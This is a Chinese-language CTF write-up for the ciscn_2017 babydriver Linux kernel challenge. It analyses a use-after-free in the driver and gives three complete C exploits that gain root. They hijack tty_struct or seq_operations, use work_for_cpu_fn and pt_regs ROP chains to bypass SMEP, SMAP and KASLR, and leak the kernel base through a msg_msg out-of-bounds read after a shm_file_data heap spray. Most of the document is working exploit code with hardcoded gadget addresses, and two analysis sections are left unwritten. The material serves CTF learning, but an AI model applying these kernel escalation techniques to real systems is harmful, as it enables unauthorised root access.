前言
本文所用的内核为题目所给的内核,版本为 4.4.72,没有引入 kpti 保护。但是这丝毫不影响以下方法在其他部分版本内核的利用,如果有 kpti 保护,最后返回用户态时用 swapgs_restore_regs_and_return_to_usermode 函数即可。还是就是这里并不讲解直接 fork 修改 cred 结构体的利用方式。
参考:
在 2021 年再看 ciscn_2017 - babydriver(上):cred 与 tty_struct 提权手法浅析-安全客 - 安全资讯平台
在 2021 年再看 ciscn_2017 - babydriver(下):KPTI bypass、ldt_struct 的利用、pt_regs 通用内核ROP解法-安全客 - 安全资讯平台
第五届强网杯线上赛冠军队 WriteUp - Pwn 篇 - 知乎
漏洞分析
babayioctl
释放全局变量 babydev_struct 中的 device_buf,然后又重新申请了一个 arg_len 大小的堆块,这里没有限制堆块的大小
babyrelease
当关闭对应设备文件时,释放了全局变量 babydev_struct 中的 device_buf、但是并没有将其置空。如果我们打开两次,并将一个关闭,但是另一个还是可以操作此内存区域
babyread、babywrite
两者的功能如下:
len <= babydev_struct.device_buf_len
babyread:
copy_to_user(user_buf, babydev_struct.device_buf, len)
babywrite:
copy_from_user(babydev_struct.device_buf, user_buf, len)
漏洞很明显,任意大小的 UAF,并且有读写的能力。
漏洞利用
tty_struct -- smep+kaslr
当然也可以利用 tty_struct+pt_regs 去打,但是下面的 seq_file 就是利用的 pt_regs,所以这里这不展示了。
在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,该结构体中存放着函数指针的结构体 tty_operations。
其中 tty_struct 大小为 0x2e0, 由 kmalloc-1k 分配,分配方式为 GFP_KERNEL_ACCOUNT。
#define TTY_MAGIC 0x5401
struct tty_struct {
int magic;
struct kref kref; //其实就是一个int
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
...
}
其中 tty_operations 会被初始化为全局变量 ptm_unix98_ops 或 pty_unix98_ops,因此我们可以通过 tty_operations 来泄露内核基址。
tty_struct+栈迁移
我们可以通过 UAF 劫持 tty_struct、然后利用 babyread 功能读取 tty_operations 的值从而泄漏内核基地址。
然后由于没有开启 smap 保护,所以可以直接伪造 tty_operations。利用 babywrite 去修改 tty_struct 的 tty_operations 为我们伪造的 tty_operations,最后在将栈迁移到 rop 链的位置即可。
如何进行栈迁移呢?
经过调试发现当执行 tty_operations->write 时,rax 指向的就是 fake_ops。所以我们可以找到一条有 mov rsp, rax;ret 效果的gadget 将栈劫持到 fake_ops 上,但是 fake_ops 上空间较小不足以布置下我们的 rop 链,所以我们可以再次将栈直接劫持到 rop 链的位置。
tty_strcut+wrok_for_cpu_fn -- 不用绕过 kpti 保护
其实我们控制了 tty_struct 结构体后,不用这么麻烦地去进行栈迁移啥的。我们可以利用 work_for_cpu_fn。
在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:
#define container_of(ptr, type, member) ({ \
const typeof(((type *)0)->member)*__mptr = (ptr); \
(type *)((char *)__mptr - offsetof(type, member)); })
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};
static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
wfc->ret = wfc->fn(wfc->arg);
}
该函数可以理解为如下形式:
static void work_for_cpu_fn(size_t * args)
{
args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}
我们又可以看下函数表:
可以发现当我们执行相关函数时,其第一个参数都是 tty_struct,而 tty_struct 又是我们可以控制的,所以就可以直接在内核中执行相关提权函数了,而无需绕过 smep 等保护
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
unsigned int (*write_room)(struct tty_struct *tty);
unsigned int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
......
与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write,因为 tty_struct[4] 处成员ldisc_sem 为信号量,在执行到 work_for_cpu_fn 之前该值会被更改
需要注意的是 tty_operations 中的 ioctl 并不是直接执行的,此前需要经过多道检查,因此我们应当传入恰当的参数,这里直接用长亭师傅wp里面的参数就行了。
需要注意的是,由于 tty_struct 的结构体已经被我们破坏,所以最后还得恢复
exp:
上面两个方法写在一起的
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#define PTM_UNIX98_OPS 0xffffffff81a74f80
#define PTY_UNIX98_OPS 0xffffffff81a74e60
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =
size_t user_cs, user_rflags, user_rsp, user_ss;
void save_status()
{
asm(
"mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_rsp;"
"pushf;"
"pop user_rflags;");
// puts("save status successfully");
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
int fd[5];
size_t buf[0x300] = { 0 };
char old_tty[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {
long mtype;
char mtext[1];
};
void baby_ioctl(int lfd, size_t len)
{
ioctl(lfd, 0x10001, len);
}
void get_root_privilege()
{
void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;
int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;
(*commit_creds)((*prepare_kernel_cred)(NULL));
}
void get_root_shell()
{
printf("UID: %d\n", getuid());
if (!getuid())
puts("Root Root"), execl("/bin/sh", "sh", NULL);
else puts("Failed to get root privilege"), exit(-1);
}
void fix_tty()
{
printf("UID: %d\n", getuid());
binary_dump("tty_struct", old_tty, 0x2d0);
write(fd[1], old_tty, 0x2d0);
close(fd[2]);
puts("Success 1");
// int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
// char msg[0x800];
// memset(buf, 'A', 0x800);
// ((struct msg_buf*)msg)->mtype = 1;
// msgsnd(qid, msg, 0x2b0, 0);
close(fd[1]);
puts("Success 2");
get_root_shell();
puts("SUccess 3");
}
void return_user()
{
asm(
"push %0;"
"push %1;"
"push %2;"
"push %3;"
"push %4;"
"iretq;"
:
:"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell)
);
}
int main(int argc, char** argv, char** env)
{
save_status();
fd[0] = open("/dev/babydev", O_RDWR);
fd[1] = open("/dev/babydev", O_RDWR);
baby_ioctl(fd[0], 0x2e0);
close(fd[0]);
fd[2] = open("/dev/ptmx", O_RDWR);
read(fd[1], old_tty, 0x2d0);
// binary_dump("tty_struct", old_tty, 0x2e0);
read(fd[1], buf, 0x40);
if ((*((int*)buf)) != 0x5401) puts("No alloc tty_struct by UAF"), exit(-1);
size_t ops = buf[3];
if ((ops&0xfff) == (PTM_UNIX98_OPS&0xfff))
puts("ptm_unix98_ops"), kernel_offset = ops - PTM_UNIX98_OPS;
else if ((ops&0xfff) == (PTY_UNIX98_OPS&0xfff))
puts("pty_unix98_ops"), kernel_offset = ops - PTY_UNIX98_OPS;
else puts("error ops"), exit(-1);
printf("kernel_offset: %#lx\n", kernel_offset);
printf("tty_struct->ops: %#lx\n", ops);
size_t rop[0x30];
int i = 0;
// rop[i++] = POP_RDI+kernel_offset;
// rop[i++] = 0x6f0;
// rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
// rop[i++] = 0;
// rop[i++] = get_root_privilege;
rop[i++] = POP_RDI+kernel_offset;
// rop[i++] = 0;
// rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
// rop[i++] = POP_RDX+kernel_offset;
// rop[i++] = COMMIT_CREDS+kernel_offset;
// rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
// rop[i++] = 0;
// rop[i++] = 0;
// rop[i++] = 0;
// rop[i++] = 0;
rop[i++] = INIT_CRED+kernel_offset;
rop[i++] = COMMIT_CREDS+kernel_offset;
rop[i++] = SWAPGS+kernel_offset;
rop[i++] = 0;
rop[i++] = IRETQ+kernel_offset;
rop[i++] = get_root_shell;
// rop[i++] = fix_tty;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_rsp;
rop[i++] = user_ss;
// rop[i++] = return_user;
size_t fake_ops[16] = { 0 };
// 栈迁移 start
// for (i = 0; i < 8; i++) fake_ops[i] = MOV_RSP_RAX+kernel_offset;
// fake_ops[0] = POP_RSP+kernel_offset;
// fake_ops[0] = POP_RAX+kernel_offset;
// fake_ops[1] = (size_t)rop;
// printf("fake_ops->write: %#lx\n", fake_ops[7]);
// 栈迁移 end
read(fd[1], buf, 0x40);
buf[3] = fake_ops;
// work_for_cpu_fn
buf[4] = COMMIT_CREDS+kernel_offset;
buf[5] = INIT_CRED+kernel_offset;
fake_ops[12] = WORK_FOR_CPU_FN+kernel_offset;
printf("fake_ops->ioctl: %#lx\n", fake_ops[12]);
printf("fake_ops: %#lx\n", fake_ops);
write(fd[1], buf, 0x40);
// binary_dump("buf", buf, 0x40);
// work_for_cpu_fn
ioctl(fd[2], 233, 233);
write(fd[1], old_tty, 0x2d0);
close(fd[2]);
system("/bin/sh");
// 栈迁移
// write(fd[2], "", 1);
return 0;
}
seq_file -- smep+smap+kaslr
由于 4.4.72 版本的内核没有 swapgs_restore_regs_and_return_to_usermode,所以还是得进行栈迁移。
当我们打开一个 stat 文件时(如/proc/self/stat)时,内核会为其创建一个 seq_file 结构体,该结构体由特定的内存池分配所以不好进行利用,但是该结构体中存在 seq_operations 字段,其为该文件的函数表,该字段由 kmalloc-32分配,分配方式为 GFP_KERNEL_ACCOUNT
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
而其中的 start 等函数指针会被赋值为全局函数,如 start 会被赋值为 single_start,所以可以用来泄漏内核基地址。
而当我们对该文件进行 read 操作时,最后会调用到 seq_operations->start,所以如果我们可以修改 start,就可以劫持程序执行流,但是需要注意的是这里的参数是不可控的。
seq_file+pt_regs+栈迁移
如果开启了 smap 保护呢?那通过劫持 tty_struct 伪造 tty_operations 的方法就失效了。
这时候,我们可以选择 seq_file 结构体进行利用。
分析后面再写,有点事
exp:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =
size_t user_cs, user_rflags, user_rsp, user_ss;
void save_status()
{
asm(
"mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_rsp;"
"pushf;"
"pop user_rflags;");
// puts("save status successfully");
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {
long mtype;
char mtext[1];
};
void baby_ioctl(int lfd, size_t len)
{
ioctl(lfd, 0x10001, len);
}
void get_root_privilege()
{
void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;
int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;
(*commit_creds)((*prepare_kernel_cred)(NULL));
}
void get_root_shell()
{
printf("UID: %d\n", getuid());
if (!getuid())
puts("Root Root"), execl("/bin/sh", "sh", NULL);
else puts("Failed to get root privilege"), exit(-1);
}
void return_user()
{
asm(
"push %0;"
"push %1;"
"push %2;"
"push %3;"
"push %4;"
"iretq;"
:
:"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell)
);
}
int main(int argc, char** argv, char** env)
{
save_status();
fd[0] = open("/dev/babydev", O_RDWR);
fd[1] = open("/dev/babydev", O_RDWR);
baby_ioctl(fd[0], 0x20);
close(fd[0]);
fd[2] = open("/proc/self/stat", O_RDONLY);
read(fd[1], buf, 0x18);
binary_dump("seq_operations", buf, 0x20);
kernel_offset = buf[0] - SINGLE_START;
printf("kernel_offset: %#lx\n", kernel_offset);
size_t rop[0x30];
int i = 0;
// rop[i++] = POP_RDI+kernel_offset;
// rop[i++] = 0x6f0;
// rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
// rop[i++] = 0;
// rop[i++] = get_root_privilege;
rop[i++] = POP_RDI+kernel_offset;
// rop[i++] = 0;
// rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
// rop[i++] = POP_RDX+kernel_offset;
// rop[i++] = COMMIT_CREDS+kernel_offset;
// rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
// rop[i++] = 0;
// rop[i++] = 0;
// rop[i++] = 0;
// rop[i++] = 0;
rop[i++] = INIT_CRED+kernel_offset;
rop[i++] = COMMIT_CREDS+kernel_offset;
rop[i++] = SWAPGS+kernel_offset;
rop[i++] = 0;
rop[i++] = IRETQ+kernel_offset;
rop[i++] = get_root_shell;
// rop[i++] = fix_tty;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_rsp;
rop[i++] = user_ss;
// rop[i++] = return_user;
buf[0] = ADD_RSP_XXX+kernel_offset;
printf("seq_operations->start: %#lx\n", buf[0]);
write(fd[1], buf, 8);
asm(
"movq $0x11111111, %%r15\n\t"
"movq $0x0, %%r14\n\t"
"movq %1, %%r13\n\t"
"movq $0x6f0, %%r12\n\t"
"movq %2, %%rbp\n\t"
"movq %0, %%rbx\n\t"
"movq $0x77777777, %%r11\n\t"
"movq %3, %%r10\n\t"
"movq %4, %%r9\n\t"
"movq $0xaaaaaaaa, %%r8\n\t"
"movq $0xcccccccc, %%rcx\n\t"
:
:"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop)
:
);
read(fd[2], buf, 8);
return 0;
}
seq_file+msg_msg+shm_file_data+pt_regs+栈迁移 -- 不使用read函数
在前面的利用中,我们都可以通过 babayread 直接去泄漏内核基地址,但要是没有 babyread 这个功能呢?我们又该如何去泄漏内核基地址呢?
这里,我选择堆喷 shm_file_data 结构体,然后利用 msg_msg 结构体越界读去泄漏内核基地址。
分析后面再写,有点事
exp:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <asm/ldt.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
#define SECONDARY_STARTUP_64 0xffffffff81000110
//size_t swapgs_restore_regs_and_return_to_usermode =
size_t user_cs, user_rflags, user_rsp, user_ss;
void save_status()
{
asm(
"mov %cs, user_cs;"
"mov %ss, user_ss;"
"mov %rsp, user_rsp;"
"pushf;"
"pop user_rflags;");
// puts("save status successfully");
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {
long mtype;
char mtext[1];
};
struct msg_header {
void* l_next;
void* l_prev;
long m_type;
size_t m_ts;
void* next;
void* security;
};
void baby_ioctl(int lfd, size_t len)
{
ioctl(lfd, 0x10001, len);
}
void get_root_privilege()
{
void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;
int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;
(*commit_creds)((*prepare_kernel_cred)(NULL));
}
void get_root_shell()
{
printf("UID: %d\n", getuid());
if (!getuid())
puts("Root Root"), execl("/bin/sh", "sh", NULL);
else puts("Failed to get root privilege"), exit(-1);
}
void return_user()
{
asm(
"push %0;"
"push %1;"
"push %2;"
"push %3;"
"push %4;"
"iretq;"
:
:"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell)
);
}
int main(int argc, char** argv, char** env)
{
save_status();
fd[0] = open("/dev/babydev", O_RDWR);
fd[1] = open("/dev/babydev", O_RDWR);
fd[2] = open("/dev/babydev", O_RDWR);
baby_ioctl(fd[0], 0x1000);
close(fd[0]);
int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
char message[0x2000] = { 0 };
struct msg_buf* msg = (struct msg_buf*)message;
msg->mtype = 1;
memset(msg->mtext, 'A', 0x1020);
msgsnd(qid, msg, 0x1020-0x30-0x8, 0);
int shmid;
char* shmaddr;
for (int i = 0; i < 0x50; i++)
{
if ((shmid = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) puts("Failed to create shm"), exit(-1);
shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == -1) puts("Failed to execve shmat"), exit(-1);
}
struct msg_header evil = { 0 };
evil.l_next = 0xdeadbeef;
evil.l_prev = 0xdeadbeef;
evil.m_type = 1;
evil.m_ts = 0x1400;
write(fd[1], &evil, sizeof(evil)-0x10);
msgrcv(qid, buf, 0x1400, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR);
size_t init_ipc_ns = 0;
for (int i = 0; i < 0x1400/8; i++)
{
if ((buf[i]&0xfff) == (0xffffffff81e93f60&0xfff))
{
init_ipc_ns = buf[i];
break;
}
}
binary_dump("OOB read", (char*)buf+0xfd0, 0x100);
kernel_offset = init_ipc_ns - 0xffffffff81e93f60;
printf("init_ipc_ns: %#lx\n", init_ipc_ns);
printf("kernel_offset: %#lx\n", kernel_offset);
baby_ioctl(fd[1], 0x20);
close(fd[1]);
fd[3] = open("/proc/self/stat", O_RDONLY);
size_t rop[0x30];
int i = 0;
// rop[i++] = POP_RDI+kernel_offset;
// rop[i++] = 0x6f0;
// rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
// rop[i++] = 0;
// rop[i++] = get_root_privilege;
rop[i++] = POP_RDI+kernel_offset;
// rop[i++] = 0;
// rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
// rop[i++] = POP_RDX+kernel_offset;
// rop[i++] = COMMIT_CREDS+kernel_offset;
// rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
// rop[i++] = 0;
// rop[i++] = 0;
// rop[i++] = 0;
// rop[i++] = 0;
rop[i++] = INIT_CRED+kernel_offset;
rop[i++] = COMMIT_CREDS+kernel_offset;
rop[i++] = SWAPGS+kernel_offset;
rop[i++] = 0;
rop[i++] = IRETQ+kernel_offset;
rop[i++] = get_root_shell;
// rop[i++] = fix_tty;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_rsp;
rop[i++] = user_ss;
// rop[i++] = return_user;
buf[0] = ADD_RSP_XXX+kernel_offset;
printf("seq_operations->start: %#lx\n", buf[0]);
write(fd[2], buf, 8);
asm(
"movq $0x11111111, %%r15\n\t"
"movq $0x0, %%r14\n\t"
"movq %1, %%r13\n\t"
"movq $0x6f0, %%r12\n\t"
"movq %2, %%rbp\n\t"
"movq %0, %%rbx\n\t"
"movq $0x77777777, %%r11\n\t"
"movq %3, %%r10\n\t"
"movq %4, %%r9\n\t"
"movq $0xaaaaaaaa, %%r8\n\t"
"movq $0xcccccccc, %%rcx\n\t"
:
:"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop)
:
);
read(fd[3], buf, 8);
return 0;
}